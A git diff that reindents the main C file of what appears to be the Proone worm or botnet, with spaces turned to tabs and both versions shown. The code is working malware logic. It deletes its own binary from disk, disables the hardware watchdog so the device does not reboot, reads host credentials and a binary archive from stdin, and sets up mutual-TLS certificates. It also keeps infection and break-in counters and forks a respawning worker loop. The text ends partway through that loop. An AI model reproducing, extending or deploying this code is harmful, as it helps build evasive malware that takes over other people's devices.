unexpand

1 files changed, 428 insertions, 428 deletions

diff --git a/src/proone.c b/src/proone.c
index b265ddf..301b194 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -39,521 +39,521 @@ static int int_pipe[2] = { -1, -1 };
 static prne_wkr_pollfd_slot_pt int_pfd = NULL;
 
 static void proc_fin_call (void) {
-    if (prne_g.caught_signal != 0) {
-        prne_llist_entry_t *cur = wkr_pool.head;
-        prne_worker_t *w;
-
-        prne_free_wkr_pollfd_slot(int_pfd);
-        int_pfd = NULL;
-
-        while (cur != NULL) {
-            w = (prne_worker_t*)cur->element;
-            if (!w->has_finalised(w->ctx)) {
-                w->fin(w->ctx);
-            }
-            cur = cur->next;
-        }
-
-        proc_fin_call_ptr = prne_empty_func;
-        finalising = true;
-    }
+	if (prne_g.caught_signal != 0) {
+		prne_llist_entry_t *cur = wkr_pool.head;
+		prne_worker_t *w;
+
+		prne_free_wkr_pollfd_slot(int_pfd);
+		int_pfd = NULL;
+
+		while (cur != NULL) {
+			w = (prne_worker_t*)cur->element;
+			if (!w->has_finalised(w->ctx)) {
+				w->fin(w->ctx);
+			}
+			cur = cur->next;
+		}
+
+		proc_fin_call_ptr = prne_empty_func;
+		finalising = true;
+	}
 }
 
 static void alloc_workers (prne_wkr_sched_req_t *sched_req) {
-    prne_g.resolv = prne_alloc_resolv_worker(&resolv_wkr, sched_req, &prne_g.ssl.rnd);
-    if (prne_g.resolv != NULL) {
-        resolv_wkr.id = PRNE_RESOLV_WKR_ID;
-        wkr_arr[0] = &resolv_wkr;
-        if (prne_llist_append(&wkr_pool, &resolv_wkr) == NULL) {
-            prne_g.resolv = NULL;
-        }
-    }
+	prne_g.resolv = prne_alloc_resolv_worker(&resolv_wkr, sched_req, &prne_g.ssl.rnd);
+	if (prne_g.resolv != NULL) {
+		resolv_wkr.id = PRNE_RESOLV_WKR_ID;
+		wkr_arr[0] = &resolv_wkr;
+		if (prne_llist_append(&wkr_pool, &resolv_wkr) == NULL) {
+			prne_g.resolv = NULL;
+		}
+	}
 }
 
 static void free_workers (void) {
-    for (size_t i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t*); i += 1) {
-        if (wkr_arr[i] == NULL) {
-            continue;
-        }
-        wkr_arr[i]->free(wkr_arr[i]->ctx);
-        wkr_arr[i] = NULL;
-    }
-    prne_g.resolv = NULL;
+	for (size_t i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t*); i += 1) {
+		if (wkr_arr[i] == NULL) {
+			continue;
+		}
+		wkr_arr[i]->free(wkr_arr[i]->ctx);
+		wkr_arr[i] = NULL;
+	}
+	prne_g.resolv = NULL;
 }
 
 #ifdef PRNE_DEBUG
 static void handle_sigpipe (const int sn) {
-    // ALWAYS poll() before writing to fd!
-    abort();
+	// ALWAYS poll() before writing to fd!
+	abort();
 }
 #endif
 
 static int proone_main (void) {
 #ifdef PRNE_DEBUG
-    static const struct timespec DBG_BUSY_CHECK_INT = { 1, 0 }; // 1s
+	static const struct timespec DBG_BUSY_CHECK_INT = { 1, 0 }; // 1s
 #endif
-    static int exit_code = 0, poll_ret;
-    static prne_wkr_tick_info_t tick_info;
-    static prne_wkr_sched_req_t sched_req;
-    static prne_llist_entry_t *cur;
-    static prne_worker_t *wkr;
+	static int exit_code = 0, poll_ret;
+	static prne_wkr_tick_info_t tick_info;
+	static prne_wkr_sched_req_t sched_req;
+	static prne_llist_entry_t *cur;
+	static prne_worker_t *wkr;
 #ifdef PRNE_DEBUG
-    static struct {
-        prne_wkr_sched_req_t sched;
-        prne_wkr_timeout_slot_pt busy_tos;
-        bool sched_ret;
-    } dbg;
+	static struct {
+		prne_wkr_sched_req_t sched;
+		prne_wkr_timeout_slot_pt busy_tos;
+		bool sched_ret;
+	} dbg;
 #endif
 
 #ifdef PRNE_DEBUG
-    signal(SIGPIPE, handle_sigpipe);
+	signal(SIGPIPE, handle_sigpipe);
 #else
-    signal(SIGPIPE, SIG_IGN);
+	signal(SIGPIPE, SIG_IGN);
 #endif
 
 #ifdef PRNE_DEBUG
-    prne_init_wkr_sched_req(&dbg.sched);
-    dbg.busy_tos = prne_alloc_wkr_timeout_slot(&dbg.sched);
-    assert(dbg.busy_tos != NULL);
+	prne_init_wkr_sched_req(&dbg.sched);
+	dbg.busy_tos = prne_alloc_wkr_timeout_slot(&dbg.sched);
+	assert(dbg.busy_tos != NULL);
 #endif
-    prne_init_wkr_sched_req(&sched_req);
-    prne_init_wkr_tick_info(&tick_info);
-    prne_init_llist(&wkr_pool);
-    alloc_workers(&sched_req);
-    if (pipe(int_pipe) == 0) {
-        prne_set_pipe_size(int_pipe[0], 1);
-        prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK));
-        prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK));
-        prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC));
-        prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC));
-    }
-    int_pfd = prne_alloc_wkr_pollfd_slot(&sched_req);
-    if (int_pfd != NULL) {
-        int_pfd->pfd.fd = int_pipe[0];
-        int_pfd->pfd.events = POLLIN;
-    }
-
-    if (wkr_pool.size == 0) {
-        exit_code = 1;
-        goto END;
-    }
-    if (prne_g.caught_signal != 0) {
-        goto END;
-    }
-
-    proc_fin_call_ptr = proc_fin_call;
-    prne_wkr_tick_info_set_start(&tick_info);
-    while (true) {
-        proc_fin_call_ptr();
-
-        cur = wkr_pool.head;
-        while (cur != NULL) {
-            wkr = (prne_worker_t*)cur->element;
-
-            if (wkr->has_finalised(wkr->ctx)) {
-                cur = prne_llist_erase(&wkr_pool, cur);
-            }
-            else {
-                wkr->work(wkr->ctx, &tick_info);
-                cur = cur->next;
-            }
-        }
-
-        if (wkr_pool.size == 0) {
-            exit_code = finalising ? 0 : 1;
-            break;
-        }
-
-        poll_ret = -1;
-        if (prne_wkr_sched_req_prep_poll(&sched_req)) {
+	prne_init_wkr_sched_req(&sched_req);
+	prne_init_wkr_tick_info(&tick_info);
+	prne_init_llist(&wkr_pool);
+	alloc_workers(&sched_req);
+	if (pipe(int_pipe) == 0) {
+		prne_set_pipe_size(int_pipe[0], 1);
+		prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK));
+		prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK));
+		prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC));
+		prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC));
+	}
+	int_pfd = prne_alloc_wkr_pollfd_slot(&sched_req);
+	if (int_pfd != NULL) {
+		int_pfd->pfd.fd = int_pipe[0];
+		int_pfd->pfd.events = POLLIN;
+	}
+
+	if (wkr_pool.size == 0) {
+		exit_code = 1;
+		goto END;
+	}
+	if (prne_g.caught_signal != 0) {
+		goto END;
+	}
+
+	proc_fin_call_ptr = proc_fin_call;
+	prne_wkr_tick_info_set_start(&tick_info);
+	while (true) {
+		proc_fin_call_ptr();
+
+		cur = wkr_pool.head;
+		while (cur != NULL) {
+			wkr = (prne_worker_t*)cur->element;
+
+			if (wkr->has_finalised(wkr->ctx)) {
+				cur = prne_llist_erase(&wkr_pool, cur);
+			}
+			else {
+				wkr->work(wkr->ctx, &tick_info);
+				cur = cur->next;
+			}
+		}
+
+		if (wkr_pool.size == 0) {
+			exit_code = finalising ? 0 : 1;
+			break;
+		}
+
+		poll_ret = -1;
+		if (prne_wkr_sched_req_prep_poll(&sched_req)) {
 #ifdef PRNE_DEBUG
-            if (!sched_req.timeout_active && sched_req.pfd_arr_size == 0) {
-                if (!dbg.busy_tos->active) {
-                    dbg.busy_tos->active = true;
-                    dbg.busy_tos->dur = DBG_BUSY_CHECK_INT;
-                }
-            }
-            else {
-                dbg.busy_tos->active = false;
-            }
-            dbg.sched_ret = prne_wkr_sched_req_prep_poll(&dbg.sched);
+			if (!sched_req.timeout_active && sched_req.pfd_arr_size == 0) {
+				if (!dbg.busy_tos->active) {
+					dbg.busy_tos->active = true;
+					dbg.busy_tos->dur = DBG_BUSY_CHECK_INT;
+				}
+			}
+			else {
+				dbg.busy_tos->active = false;
+			}
+			dbg.sched_ret = prne_wkr_sched_req_prep_poll(&dbg.sched);
 #endif
-            prne_wkr_sched_req_do_poll(&sched_req, &poll_ret);
-        }
-        else {
+			prne_wkr_sched_req_do_poll(&sched_req, &poll_ret);
+		}
+		else {
 #ifdef PRNE_DEBUG
-            dbg.busy_tos->active = false;
-            dbg.sched_ret = false;
+			dbg.busy_tos->active = false;
+			dbg.sched_ret = false;
 #endif
-        }
-        prne_wkr_tick_info_set_tick(&tick_info);
-        prne_wkr_sched_req_refl_poll(&sched_req, poll_ret, tick_info.tick_diff);
+		}
+		prne_wkr_tick_info_set_tick(&tick_info);
+		prne_wkr_sched_req_refl_poll(&sched_req, poll_ret, tick_info.tick_diff);
 #ifdef PRNE_DEBUG
-        if (dbg.sched_ret) {
-            prne_wkr_sched_req_refl_poll(&dbg.sched, 0, tick_info.tick_diff);
-            if (dbg.busy_tos->active && dbg.busy_tos->reached) {
-                const double real_int = prne_real_timespec(DBG_BUSY_CHECK_INT);
-                dbg.busy_tos->active = false;
-                fprintf(stderr, "* workers have been busy for %.1f second%s straight.\n", real_int, real_int <= 1.0 ? "" : "s");
-            }
-        }
+		if (dbg.sched_ret) {
+			prne_wkr_sched_req_refl_poll(&dbg.sched, 0, tick_info.tick_diff);
+			if (dbg.busy_tos->active && dbg.busy_tos->reached) {
+				const double real_int = prne_real_timespec(DBG_BUSY_CHECK_INT);
+				dbg.busy_tos->active = false;
+				fprintf(stderr, "* workers have been busy for %.1f second%s straight.\n", real_int, real_int <= 1.0 ? "" : "s");
+			}
+		}
 #endif
-    }
+	}
 
 END:
-    free_workers();
+	free_workers();
 
-    prne_free_llist(&wkr_pool);
-    prne_free_wkr_pollfd_slot(int_pfd);
-    prne_free_wkr_tick_info(&tick_info);
-    prne_free_wkr_sched_req(&sched_req);
+	prne_free_llist(&wkr_pool);
+	prne_free_wkr_pollfd_slot(int_pfd);
+	prne_free_wkr_tick_info(&tick_info);
+	prne_free_wkr_sched_req(&sched_req);
 #ifdef PRNE_DEBUG
-    prne_free_wkr_timeout_slot(dbg.busy_tos);
-    prne_free_wkr_sched_req(&dbg.sched);
+	prne_free_wkr_timeout_slot(dbg.busy_tos);
+	prne_free_wkr_sched_req(&dbg.sched);
 #endif
 
-    return exit_code;
+	return exit_code;
 }
 
 static bool ensure_single_instance (void) {
-    prne_g.lock_shm_fd = shm_open(
-        prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL),
-        O_RDWR | O_CREAT,
-        0666);
-    prne_dvault_reset_dict();
-    if (prne_g.lock_shm_fd < 0) {
-        return true;
-    }
-
-    if (flock(prne_g.lock_shm_fd, LOCK_EX | LOCK_NB) < 0) {
-        prne_close(prne_g.lock_shm_fd);
-        prne_g.lock_shm_fd = -1;
-
-        return false;
-    }
-
-    return true;
+	prne_g.lock_shm_fd = shm_open(
+		prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL),
+		O_RDWR | O_CREAT,
+		0666);
+	prne_dvault_reset_dict();
+	if (prne_g.lock_shm_fd < 0) {
+		return true;
+	}
+
+	if (flock(prne_g.lock_shm_fd, LOCK_EX | LOCK_NB) < 0) {
+		prne_close(prne_g.lock_shm_fd);
+		prne_g.lock_shm_fd = -1;
+
+		return false;
+	}
+
+	return true;
 }
 
 static void delete_myself (const char *arg0) {
 #ifndef PRNE_DEBUG
-    static const char *proc_path = "/proc/self/exe";
-    struct stat st;
-    const char *path_to_unlink = NULL;
-    char *path_buf = NULL;    
-    
-    // get real path of myself
-    if (lstat(proc_path, &st) == 0 && (path_buf = (char*)prne_malloc(1, st.st_size + 1)) != NULL && readlink(proc_path, path_buf, st.st_size) == st.st_size) {
-        path_buf[st.st_size] = 0;
-        path_to_unlink = path_buf;
-    }
-    else {
-        // try to delete arg0 instead
-        path_to_unlink = arg0;
-    }
-
-    unlink(path_to_unlink);
-    prne_free(path_buf);
+	static const char *proc_path = "/proc/self/exe";
+	struct stat st;
+	const char *path_to_unlink = NULL;
+	char *path_buf = NULL;	  
+	
+	// get real path of myself
+	if (lstat(proc_path, &st) == 0 && (path_buf = (char*)prne_malloc(1, st.st_size + 1)) != NULL && readlink(proc_path, path_buf, st.st_size) == st.st_size) {
+		path_buf[st.st_size] = 0;
+		path_to_unlink = path_buf;
+	}
+	else {
+		// try to delete arg0 instead
+		path_to_unlink = arg0;
+	}
+
+	unlink(path_to_unlink);
+	prne_free(path_buf);
 #endif
 }
 
 static void disasble_watchdog (void) {
 #ifndef PRNE_DEBUG
-    static const char *watchdog_paths[] = {
-        "/dev/watchdog",
-        "/dev/misc/watchdog"
-    };
-    static const int one = 1;
-    int fd;
-    size_t i;
-
-    for (i = 0; i < sizeof(watchdog_paths) / sizeof(const char*); i += 1) {
-        if ((fd = open(watchdog_paths[i], O_RDWR)) >= 0) {
-            ioctl(fd, 0x80045704, &one);
-            prne_close(fd);
-            break;
-        }
-    }
+	static const char *watchdog_paths[] = {
+		"/dev/watchdog",
+		"/dev/misc/watchdog"
+	};
+	static const int one = 1;
+	int fd;
+	size_t i;
+
+	for (i = 0; i < sizeof(watchdog_paths) / sizeof(const char*); i += 1) {
+		if ((fd = open(watchdog_paths[i], O_RDWR)) >= 0) {
+			ioctl(fd, 0x80045704, &one);
+			prne_close(fd);
+			break;
+		}
+	}
 #endif
 }
 
 static void handle_interrupt (const int sig) {
-    uint8_t rubbish = 0;
+	uint8_t rubbish = 0;
 
-    prne_g.caught_signal = sig;
-    write(int_pipe[1], &rubbish, 1);
+	prne_g.caught_signal = sig;
+	write(int_pipe[1], &rubbish, 1);
 }
 
 static void setup_signal_actions (void) {
-    struct sigaction sa;
+	struct sigaction sa;
 
-    sa.sa_handler = handle_interrupt;
-    sigemptyset(&sa.sa_mask);
-    sa.sa_flags = SA_RESETHAND;
+	sa.sa_handler = handle_interrupt;
+	sigemptyset(&sa.sa_mask);
+	sa.sa_flags = SA_RESETHAND;
 
-    // try to exit gracefully upon reception of these signals
-    sigaction(SIGINT, &sa, NULL);
-    sigaction(SIGTERM, &sa, NULL);
+	// try to exit gracefully upon reception of these signals
+	sigaction(SIGINT, &sa, NULL);
+	sigaction(SIGTERM, &sa, NULL);
 }
 
 static void read_host_credential (void) {
-    static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3;
-    char *buf = (char*)prne_malloc(1, buf_size);
-    size_t i;
-    bool found = false;
-
-    for (i = 0; i < buf_size; i += 1) {
-        if (read(STDIN_FILENO, &buf[i], 1) != 1) {
-            goto END;
-        }
-
-        if (buf[i] == '\n') {
-            found = true;
-            break;
-        }
-    }
-    if (found &&
-        prne_dec_base64_mem(buf, i, &prne_g.host_cred_data, &prne_g.host_cred_size) &&
-        prne_g.host_cred_size > 1 + 2 + 255 * 2) {
-        prne_free(prne_g.host_cred_data);
-        prne_g.host_cred_data = NULL;
-        prne_g.host_cred_size = 0;
-    }
+	static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3;
+	char *buf = (char*)prne_malloc(1, buf_size);
+	size_t i;
+	bool found = false;
+
+	for (i = 0; i < buf_size; i += 1) {
+		if (read(STDIN_FILENO, &buf[i], 1) != 1) {
+			goto END;
+		}
+
+		if (buf[i] == '\n') {
+			found = true;
+			break;
+		}
+	}
+	if (found &&
+		prne_dec_base64_mem(buf, i, &prne_g.host_cred_data, &prne_g.host_cred_size) &&
+		prne_g.host_cred_size > 1 + 2 + 255 * 2) {
+		prne_free(prne_g.host_cred_data);
+		prne_g.host_cred_data = NULL;
+		prne_g.host_cred_size = 0;
+	}
 
 END:
-    prne_free(buf);
+	prne_free(buf);
 }
 
 static void set_env (void) {
-    // environment set up function calls in here
+	// environment set up function calls in here
 }
 
 static void load_ssl_conf (void) {
-    if (mbedtls_x509_crt_parse(&prne_g.ssl.ca, (const uint8_t*)PRNE_X509_CA_CRT, sizeof(PRNE_X509_CA_CRT) - 1) == 0) {
-        prne_g.s_ssl.ready =
-            mbedtls_ssl_config_defaults(&prne_g.s_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 &&
-            mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, (const uint8_t*)PRNE_X509_S_CRT, sizeof(PRNE_X509_S_CRT) - 1) == 0 &&
-            mbedtls_pk_parse_key(&prne_g.s_ssl.pk, (const uint8_t*)PRNE_X509_S_KEY, sizeof(PRNE_X509_S_KEY) - 1, NULL, 0) == 0 &&
-            mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, (const uint8_t*)PRNE_X509_DH, sizeof(PRNE_X509_DH) - 1) == 0 &&
-            mbedtls_ssl_conf_own_cert(&prne_g.s_ssl.conf, &prne_g.s_ssl.crt, &prne_g.s_ssl.pk) == 0 &&
-            mbedtls_ssl_conf_dh_param_ctx(&prne_g.s_ssl.conf, &prne_g.s_ssl.dhm) == 0;
-        if (prne_g.s_ssl.ready) {
-            mbedtls_ssl_conf_ca_chain(&prne_g.s_ssl.conf, &prne_g.ssl.ca, NULL);
-            // mutual auth
-            mbedtls_ssl_conf_authmode(&prne_g.s_ssl.conf, MBEDTLS_SSL_VERIFY_REQUIRED);
-            // ignore expired cert (system wall clock might not be set)
-            mbedtls_ssl_conf_verify(&prne_g.s_ssl.conf, prne_mbedtls_x509_crt_verify_cb, NULL); 
-        }
-
-        prne_g.c_ssl.ready =
-            mbedtls_ssl_config_defaults(&prne_g.c_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 &&
-            mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, (const uint8_t*)PRNE_X509_C_CRT, sizeof(PRNE_X509_C_CRT) - 1) == 0 &&
-            mbedtls_pk_parse_key(&prne_g.c_ssl.pk, (const uint8_t*)PRNE_X509_C_KEY, sizeof(PRNE_X509_C_KEY) - 1, NULL, 0) == 0 &&
-            mbedtls_ssl_conf_own_cert(&prne_g.c_ssl.conf, &prne_g.c_ssl.crt, &prne_g.c_ssl.pk) == 0;
-        if (prne_g.c_ssl.ready) {
-            mbedtls_ssl_conf_ca_chain(&prne_g.c_ssl.conf, &prne_g.ssl.ca, NULL);
-            // mutual auth
-            mbedtls_ssl_conf_authmode(&prne_g.c_ssl.conf, MBEDTLS_SSL_VERIFY_REQUIRED);
-            // ignore expired cert (system wall clock might not be set)
-            mbedtls_ssl_conf_verify(&prne_g.c_ssl.conf, prne_mbedtls_x509_crt_verify_cb, NULL); 
-        }
-    }
+	if (mbedtls_x509_crt_parse(&prne_g.ssl.ca, (const uint8_t*)PRNE_X509_CA_CRT, sizeof(PRNE_X509_CA_CRT) - 1) == 0) {
+		prne_g.s_ssl.ready =
+			mbedtls_ssl_config_defaults(&prne_g.s_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 &&
+			mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, (const uint8_t*)PRNE_X509_S_CRT, sizeof(PRNE_X509_S_CRT) - 1) == 0 &&
+			mbedtls_pk_parse_key(&prne_g.s_ssl.pk, (const uint8_t*)PRNE_X509_S_KEY, sizeof(PRNE_X509_S_KEY) - 1, NULL, 0) == 0 &&
+			mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, (const uint8_t*)PRNE_X509_DH, sizeof(PRNE_X509_DH) - 1) == 0 &&
+			mbedtls_ssl_conf_own_cert(&prne_g.s_ssl.conf, &prne_g.s_ssl.crt, &prne_g.s_ssl.pk) == 0 &&
+			mbedtls_ssl_conf_dh_param_ctx(&prne_g.s_ssl.conf, &prne_g.s_ssl.dhm) == 0;
+		if (prne_g.s_ssl.ready) {
+			mbedtls_ssl_conf_ca_chain(&prne_g.s_ssl.conf, &prne_g.ssl.ca, NULL);
+			// mutual auth
+			mbedtls_ssl_conf_authmode(&prne_g.s_ssl.conf, MBEDTLS_SSL_VERIFY_REQUIRED);
+			// ignore expired cert (system wall clock might not be set)
+			mbedtls_ssl_conf_verify(&prne_g.s_ssl.conf, prne_mbedtls_x509_crt_verify_cb, NULL); 
+		}
+
+		prne_g.c_ssl.ready =
+			mbedtls_ssl_config_defaults(&prne_g.c_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 &&
+			mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, (const uint8_t*)PRNE_X509_C_CRT, sizeof(PRNE_X509_C_CRT) - 1) == 0 &&
+			mbedtls_pk_parse_key(&prne_g.c_ssl.pk, (const uint8_t*)PRNE_X509_C_KEY, sizeof(PRNE_X509_C_KEY) - 1, NULL, 0) == 0 &&
+			mbedtls_ssl_conf_own_cert(&prne_g.c_ssl.conf, &prne_g.c_ssl.crt, &prne_g.c_ssl.pk) == 0;
+		if (prne_g.c_ssl.ready) {
+			mbedtls_ssl_conf_ca_chain(&prne_g.c_ssl.conf, &prne_g.ssl.ca, NULL);
+			// mutual auth
+			mbedtls_ssl_conf_authmode(&prne_g.c_ssl.conf, MBEDTLS_SSL_VERIFY_REQUIRED);
+			// ignore expired cert (system wall clock might not be set)
+			mbedtls_ssl_conf_verify(&prne_g.c_ssl.conf, prne_mbedtls_x509_crt_verify_cb, NULL); 
+		}
+	}
 }
 
 static void seed_ssl_rnd (const uint8_t *seed, const size_t slen) {
-    if (mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, seed, slen) != 0) {
-        mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, NULL, 0);
-    }
+	if (mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, seed, slen) != 0) {
+		mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, NULL, 0);
+	}
 }
 
 static void init_shared_global (void) {
-    // just die on error
-    const size_t str_len = 1 + 30;
-    int fd;
-    char *name;
-
-    name = prne_malloc(1, str_len + 1);
-    name[0] = '/';
-    name[str_len] = 0;
-    prne_rnd_anum_str(&prne_g.ssl.rnd, name + 1, str_len - 1);
-    
-    fd = shm_open(name, O_RDWR | O_CREAT | O_TRUNC, 0000);
-    if (fd < 0) {
-        abort();
-    }
-    shm_unlink(name);
-    prne_free(name);
-
-    if (ftruncate(fd, sizeof(struct prne_shared_global)) < 0) {
-        abort();
-    }
-    prne_s_g = (struct prne_shared_global*)mmap(NULL, sizeof(struct prne_shared_global), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
-    if (prne_s_g == NULL) {
-        abort();
-    }
-    prne_close(fd);
-
-    prne_s_g->bne_cnt = 0;
-    prne_s_g->infect_cnt = 0;
+	// just die on error
+	const size_t str_len = 1 + 30;
+	int fd;
+	char *name;
+
+	name = prne_malloc(1, str_len + 1);
+	name[0] = '/';
+	name[str_len] = 0;
+	prne_rnd_anum_str(&prne_g.ssl.rnd, name + 1, str_len - 1);
+	
+	fd = shm_open(name, O_RDWR | O_CREAT | O_TRUNC, 0000);
+	if (fd < 0) {
+		abort();
+	}
+	shm_unlink(name);
+	prne_free(name);
+
+	if (ftruncate(fd, sizeof(struct prne_shared_global)) < 0) {
+		abort();
+	}
+	prne_s_g = (struct prne_shared_global*)mmap(NULL, sizeof(struct prne_shared_global), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
+	if (prne_s_g == NULL) {
+		abort();
+	}
+	prne_close(fd);
+
+	prne_s_g->bne_cnt = 0;
+	prne_s_g->infect_cnt = 0;
 }
 
 
 int main (const int argc, char **args) {
-    static int exit_code = 0;
-    static int exit_pipe[2] = { -1, -1 };
-
-    prne_g.host_cred_data = NULL;
-    prne_g.host_cred_size = 0;
-    prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.god_start));
-    prne_g.run_cnt = 0;
-    prne_g.resolv = NULL;
-    prne_g.god_exit_evt = -1;
-    prne_g.caught_signal = 0;
-    prne_g.god_pid = getpid();
-    prne_g.proone_pid = 0;
-    prne_g.lock_shm_fd = -1;
-    prne_g.bin_ready = false;
-    prne_g.is_child = false;
-    prne_init_unpack_bin_archive_result(&prne_g.bin_pack);
-    prne_init_bin_archive(&prne_g.bin_archive);
-    mbedtls_x509_crt_init(&prne_g.ssl.ca);
-    mbedtls_entropy_init(&prne_g.ssl.entpy);
-    mbedtls_ctr_drbg_init(&prne_g.ssl.rnd);
-    mbedtls_ssl_config_init(&prne_g.s_ssl.conf);
-    mbedtls_x509_crt_init(&prne_g.s_ssl.crt);
-    mbedtls_pk_init(&prne_g.s_ssl.pk);
-    mbedtls_dhm_init(&prne_g.s_ssl.dhm);
-    prne_g.s_ssl.ready = false;
-    mbedtls_ssl_config_init(&prne_g.c_ssl.conf);
-    mbedtls_x509_crt_init(&prne_g.c_ssl.crt);
-    mbedtls_pk_init(&prne_g.c_ssl.pk);
-    prne_g.c_ssl.ready = false;
-
-    // inits that need no outside resources
-    prne_init_dvault();
-    set_env();
-    if (pipe(exit_pipe) == 0) {
-        prne_set_pipe_size(exit_pipe[0], 1);
-        prne_ok_or_die(fcntl(exit_pipe[0], F_SETFL, O_NONBLOCK));
-        prne_ok_or_die(fcntl(exit_pipe[1], F_SETFL, O_NONBLOCK));
-        prne_ok_or_die(fcntl(exit_pipe[0], F_SETFD, FD_CLOEXEC));
-        prne_ok_or_die(fcntl(exit_pipe[1], F_SETFD, FD_CLOEXEC));
-        prne_g.god_exit_evt = exit_pipe[0];
-    }
-
-    /* inits that need outside resources. IN THIS ORDER! */
-    load_ssl_conf();
-    seed_ssl_rnd(NULL, 0);
-    init_shared_global();
-    delete_myself(args[0]);
-    disasble_watchdog();
-
-    read_host_credential();
-    // get fed with the bin archive
-    prne_g.bin_pack = prne_unpack_bin_archive(STDIN_FILENO);
-    if (prne_g.bin_pack.result == PRNE_UNPACK_BIN_ARCHIVE_OK) {
-        prne_g.bin_ready = prne_index_bin_archive(&prne_g.bin_pack, &prne_g.bin_archive) == PRNE_INDEX_BIN_ARCHIVE_OK;
-    }
-
-    if (!ensure_single_instance()) {
-        exit_code = 1;
-        goto END;
-    }
-
-    // done with the terminal
-    prne_close(STDIN_FILENO);
-    prne_close(STDOUT_FILENO);
+	static int exit_code = 0;
+	static int exit_pipe[2] = { -1, -1 };
+
+	prne_g.host_cred_data = NULL;
+	prne_g.host_cred_size = 0;
+	prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.god_start));
+	prne_g.run_cnt = 0;
+	prne_g.resolv = NULL;
+	prne_g.god_exit_evt = -1;
+	prne_g.caught_signal = 0;
+	prne_g.god_pid = getpid();
+	prne_g.proone_pid = 0;
+	prne_g.lock_shm_fd = -1;
+	prne_g.bin_ready = false;
+	prne_g.is_child = false;
+	prne_init_unpack_bin_archive_result(&prne_g.bin_pack);
+	prne_init_bin_archive(&prne_g.bin_archive);
+	mbedtls_x509_crt_init(&prne_g.ssl.ca);
+	mbedtls_entropy_init(&prne_g.ssl.entpy);
+	mbedtls_ctr_drbg_init(&prne_g.ssl.rnd);
+	mbedtls_ssl_config_init(&prne_g.s_ssl.conf);
+	mbedtls_x509_crt_init(&prne_g.s_ssl.crt);
+	mbedtls_pk_init(&prne_g.s_ssl.pk);
+	mbedtls_dhm_init(&prne_g.s_ssl.dhm);
+	prne_g.s_ssl.ready = false;
+	mbedtls_ssl_config_init(&prne_g.c_ssl.conf);
+	mbedtls_x509_crt_init(&prne_g.c_ssl.crt);
+	mbedtls_pk_init(&prne_g.c_ssl.pk);
+	prne_g.c_ssl.ready = false;
+
+	// inits that need no outside resources
+	prne_init_dvault();
+	set_env();
+	if (pipe(exit_pipe) == 0) {
+		prne_set_pipe_size(exit_pipe[0], 1);
+		prne_ok_or_die(fcntl(exit_pipe[0], F_SETFL, O_NONBLOCK));
+		prne_ok_or_die(fcntl(exit_pipe[1], F_SETFL, O_NONBLOCK));
+		prne_ok_or_die(fcntl(exit_pipe[0], F_SETFD, FD_CLOEXEC));
+		prne_ok_or_die(fcntl(exit_pipe[1], F_SETFD, FD_CLOEXEC));
+		prne_g.god_exit_evt = exit_pipe[0];
+	}
+
+	/* inits that need outside resources. IN THIS ORDER! */
+	load_ssl_conf();
+	seed_ssl_rnd(NULL, 0);
+	init_shared_global();
+	delete_myself(args[0]);
+	disasble_watchdog();
+
+	read_host_credential();
+	// get fed with the bin archive
+	prne_g.bin_pack = prne_unpack_bin_archive(STDIN_FILENO);
+	if (prne_g.bin_pack.result == PRNE_UNPACK_BIN_ARCHIVE_OK) {
+		prne_g.bin_ready = prne_index_bin_archive(&prne_g.bin_pack, &prne_g.bin_archive) == PRNE_INDEX_BIN_ARCHIVE_OK;
+	}
+
+	if (!ensure_single_instance()) {
+		exit_code = 1;
+		goto END;
+	}
+
+	// done with the terminal
+	prne_close(STDIN_FILENO);
+	prne_close(STDOUT_FILENO);
 #ifndef PRNE_DEBUG
-    prne_close(STDERR_FILENO);
+	prne_close(STDERR_FILENO);
 #endif
 
-    setup_signal_actions();
-
-    // main loop
-    while (prne_g.caught_signal == 0) {
-        prne_g.proone_pid = fork();
-
-        if (prne_g.proone_pid >= 0) {
-            prne_g.run_cnt += 1;
-        }
-
